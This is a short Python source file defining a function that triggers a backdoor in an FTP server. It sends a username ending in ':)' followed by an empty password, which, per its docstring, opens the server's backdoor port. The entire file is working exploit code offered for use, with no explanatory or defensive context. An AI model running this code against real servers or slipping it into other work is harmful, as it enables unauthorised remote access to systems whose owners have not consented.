import socket


def open_backdoor(conn: socket.socket) -> bool:
    """
    Send the parameters to the FTP server that will open the backdoor port.
    :param conn: socket object connected to backdoor
    :return: boolean indicating success or failure
    """
    print('Opening backdoor.')
    sent_bytes = conn.send('USER abc123:)\r\n'.encode())
    response = conn.recv(1024)
    passwd_response = response.decode().strip()
    passwd_response_code = int(passwd_response.split()[0])
    if passwd_response_code != 331:
        return False
    sent_bytes = conn.send('PASS \r\n'.encode())
    return True